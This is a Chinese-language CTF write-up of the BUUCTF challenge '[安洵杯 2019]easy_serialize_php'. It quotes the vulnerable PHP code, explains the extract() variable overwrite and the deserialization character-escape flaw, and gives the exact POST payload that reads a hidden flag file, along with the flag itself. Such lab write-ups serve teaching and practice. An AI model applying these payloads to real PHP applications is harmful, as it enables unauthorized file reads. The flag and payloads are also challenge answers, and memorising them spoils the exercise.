热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[安洵杯2019]easy_serialize_php(PHP字符逃逸应用,宝(/ω\)看看我吧)

题目平台:buuctf题目名称:[安洵杯2019]easy_serialize_php本题涉及知识点extract()变量覆盖PHP反序列化ÿ

题目平台:buuctf

题目名称:[安洵杯 2019]easy_serialize_php

本题涉及知识点

  • extract() 变量覆盖

  • PHP反序列化:

    • 正常情况下,序列化的对象是一个类的实例,但实际上,数组也能序列化
    • 字符逃逸 (知识点学习链接 )

<?php$function &#61; &#64;$_GET[&#39;f&#39;];function filter($img){$filter_arr &#61; array(&#39;php&#39;,&#39;flag&#39;,&#39;php5&#39;,&#39;php4&#39;,&#39;fl1g&#39;);$filter &#61; &#39;/&#39;.implode(&#39;|&#39;,$filter_arr).&#39;/i&#39;;return preg_replace($filter,&#39;&#39;,$img);
}if($_SESSION){ unset($_SESSION);
}$_SESSION["user"] &#61; &#39;guest&#39;;
$_SESSION[&#39;function&#39;] &#61; $function;extract($_POST);if(!$function){echo &#39;source_code&#39;;
}if(!$_GET[&#39;img_path&#39;]){$_SESSION[&#39;img&#39;] &#61; base64_encode(&#39;guest_img.png&#39;);
}else{$_SESSION[&#39;img&#39;] &#61; sha1(base64_encode($_GET[&#39;img_path&#39;]));
}$serialize_info &#61; filter(serialize($_SESSION));if($function &#61;&#61; &#39;highlight_file&#39;){highlight_file(&#39;index.php&#39;);
}else if($function &#61;&#61; &#39;phpinfo&#39;){eval(&#39;phpinfo();&#39;); //maybe you can find something in here!
}else if($function &#61;&#61; &#39;show_image&#39;){$userinfo &#61; unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]));
}
?>

一、审计代码


先分析与变量$function有关的代码

$function &#61; &#64;$_GET[&#39;f&#39;];if(!$function){// 如果url中没有传递fecho &#39;source_code&#39;;
}f($function &#61;&#61; &#39;highlight_file&#39;){ //默认值&#xff0c;打印源码highlight_file(&#39;index.php&#39;);
}else if($function &#61;&#61; &#39;phpinfo&#39;){ //f&#61;phpinfoeval(&#39;phpinfo();&#39;); //maybe you can find something in here!
}else if($function &#61;&#61; &#39;show_image&#39;){ //f&#61;show_image$userinfo &#61; unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]));
}

&#xff08;1&#xff09; 令/index.php?f&#61;phpinfo&#xff0c;查看phpinfo中的隐藏信息&#xff08;2&#xff09; 发现d0g3_f1ag.php文件&#xff08;3&#xff09;最终肯定是需要/index.php?f&#61;show_image利用反序列化漏洞来获取flag

在这里插入图片描述



分析有关$_SESSION部分的代码


//注销$_SESSION数组的值
if($_SESSION){unset($_SESSION);
}//注册值
$_SESSION["user"] &#61; &#39;guest&#39;;
$_SESSION[&#39;function&#39;] &#61; $function;extract($_POST);//这里存在变量覆盖漏洞if(!$_GET[&#39;img_path&#39;]){$_SESSION[&#39;img&#39;] &#61; base64_encode(&#39;guest_img.png&#39;);
}else{$_SESSION[&#39;img&#39;] &#61; sha1(base64_encode($_GET[&#39;img_path&#39;]));
}$serialize_info &#61; filter(serialize($_SESSION));
//一个明显的特征&#xff0c;对序列化后的字符串进行过滤&#xff0c;再反序列化&#xff0c;这会存在重复逃逸漏洞
function filter($img){$filter_arr &#61; array(&#39;php&#39;,&#39;flag&#39;,&#39;php5&#39;,&#39;php4&#39;,&#39;fl1g&#39;);$filter &#61; &#39;/&#39;.implode(&#39;|&#39;,$filter_arr).&#39;/i&#39;;return preg_replace($filter,&#39;&#39;,$img);
}$userinfo &#61; unserialize($serialize_info);
//fige_get_contents&#xff08;&#xff09;&#xff0c;读取文件内容
echo file_get_contents(base64_decode($userinfo[&#39;img&#39;]))

  • 首先&#xff0c;粗略的过一遍代码&#xff0c;file_get_contents函数读取文件的内容肯定是d0g3_f1ag.php&#xff0c;因此base64_decode($userinfo[&#39;img&#39;])的结果也得是d0g3_f1ag.php。不会有sha1()这个加密过程&#xff0c;也就是说$_GET[&#39;img_path&#39;]变量为空&#xff0c;但这样,$_SESSION[&#39;img&#39;]似乎是固定值base64_encode(&#39;guest_img.png&#39;);

  • 还有一点extract($_POST);是可以通过提交post请求&#xff0c;覆盖当前已经定义了的变量&#xff0c;也就是说&#xff0c;是能改变$_SESSION[&#39;function&#39;]$_SESSION["user"]的值

  • 同时&#xff0c;本题存在对序列后的字符串进行过滤处理&#xff0c;也就是序列化后的字符串是会减少的情况&#xff0c;导致与对应的长度不匹配&#xff0c;出现无法反序列化。这里是存在字符逃逸漏洞的&#xff01;&#xff08;知识点学习链接 &#xff09;


二、漏洞利用


  • 正常情况下&#xff0c;$serialize_info的值为

    • a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}
    • 注&#xff1a;其中键user和function的值是可以通过$extract($_POST)任意改变&#xff0c;但不能改变$_SESSION[&#39;img&#39;]&#xff08;序列化前&#xff0c;此值必须为空&#xff0c;避免sha1() &#xff09;
    • 本题是过滤后&#xff0c;实际字符变少类型的字符逃逸&#xff0c;会存在吞的过程&#xff01;而又可以通过extract($_POST)&#xff0c;任意控制$_SESSION数组。
    • 思路&#xff1a;用user部分&#xff0c;吐掉function不需要部分&#xff0c;让}过滤不需要的img部分
  • 具体&#xff01;

    • a:3:{s:4:"user";s:?:"?";**s:8:"function";s:??**:"**;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}

    • 我要是吞掉的部分为";**s:8:"function";s:38**:&#xff0c;字符串长度为22&#xff0c;则需要所以user对应的值为flag x 4 &#43; php x 2&#xff0c;

    • 所以POST传参为&#xff1a;_SESSION[user]&#61;flagflagflagflagphpphp&_SESSION[function]&#61;;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}

      • 按我的理解应该是_SESSION[“user”]和_SESSION[‘function’]&#xff0c;但加上引号后&#xff0c;这题就做不出来&#xff0c;真的是难了我好久&#xff08;在线求大佬解惑&#xff09;
  • 最终的反序列化的POC&#xff1a;

    • a:3:{s:4:"user";s:22:"flagflagflagflagphpphp&#96;&#96;";s:8:"function";s:38:"&#96;&#96;**;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}
  • 在burp中提交post请求_SESSION[user]&#61;flagflagflagflagphpphp&_SESSION[function]&#61;;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA&#61;&#61;";}

在这里插入图片描述

  • 发现flag文件在 /d0g3_fllllllag
    • /d0g3_fllllllag base64后为L2QwZzNfZmxsbGxsbGFn
    • 得到flag{61011a5f-08cc-4884-9666-6b639382f93b}
      在这里插入图片描述

三、反思总结

题目有两个坑的点

  • 第一个&#xff0c;why post请求中会是 _SESSION[user]而不是_SESSION["user"]&#xff0c;这有涉及到啥知识&#xff0c;是真搜不到。。。。。。&#xff08;求求大佬&#xff01;&#xff01;&#xff01;&#xff09;

  • 第二个&#xff0c;为什么post提交的参数_SESSION[function]提交的参数是;s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    • 在看大佬的writeup之前我一直;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    • 我不懂;s:8:"function";s:10:"show_image"的意义所在。虽然有$_SESSION[&#39;function&#39;] &#61; $function;这一步操作&#xff0c;我以为也想过改变$_SESSION[&#39;function&#39;]的值后$function;可能会跟着改变&#xff0c;但怎么可能&#xff01;改变也是改变到与$userinfo[‘function’]的值相同才符合题意啊&#xff01;&#xff01;&#xff01;

    • 。。。。。。。。。。好了&#xff0c;我才把字码到这&#xff0c;突然灵光一闪。。。是的悟了。。

    • 由于序列化后的字符串是a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw&#61;&#61;";}&#xff0c;注意&#xff0c;宝&#xff0c;开头是a:3&#xff0c;代表的是反序列化的对象是数组&#xff0c;且有三个元素&#xff0c;所以我必须保障反序列后生成的数组有三个元素

    • 实际上我也能这么写;s:8:"function";s:10:"wozaizheli";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} (只要不是过滤函数中数组里面的字符串即可&#xff09;

在这里插入图片描述


推荐阅读
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • Google在I/O开发者大会详细介绍Android N系统的更新和安全性提升
    Google在2016年的I/O开发者大会上详细介绍了Android N系统的更新和安全性提升。Android N系统在安全方面支持无缝升级更新和修补漏洞,引入了基于文件的数据加密系统和移动版本的Chrome浏览器可以识别恶意网站等新的安全机制。在性能方面,Android N内置了先进的图形处理系统Vulkan,加入了JIT编译器以提高安装效率和减少应用程序的占用空间。此外,Android N还具有自动关闭长时间未使用的后台应用程序来释放系统资源的机制。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • RouterOS 5.16软路由安装图解教程
    本文介绍了如何安装RouterOS 5.16软路由系统,包括系统要求、安装步骤和登录方式。同时提供了详细的图解教程,方便读者进行操作。 ... [详细]
  • GreenDAO快速入门
    前言之前在自己做项目的时候,用到了GreenDAO数据库,其实对于数据库辅助工具库从OrmLite,到litePal再到GreenDAO,总是在不停的切换,但是没有真正去了解他们的 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ... [详细]
  • 本文介绍了一个Magento模块,其主要功能是实现前台用户利用表单给管理员发送邮件。通过阅读该模块的代码,可以了解到一些有关Magento的细节,例如如何获取系统标签id、如何使用Magento默认的提示信息以及如何使用smtp服务等。文章还提到了安装SMTP Pro插件的方法,并给出了前台页面的代码示例。 ... [详细]
  • Struts2+Sring+Hibernate简单配置
    2019独角兽企业重金招聘Python工程师标准Struts2SpringHibernate搭建全解!Struts2SpringHibernate是J2EE的最 ... [详细]
author-avatar
乐天小散_608
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有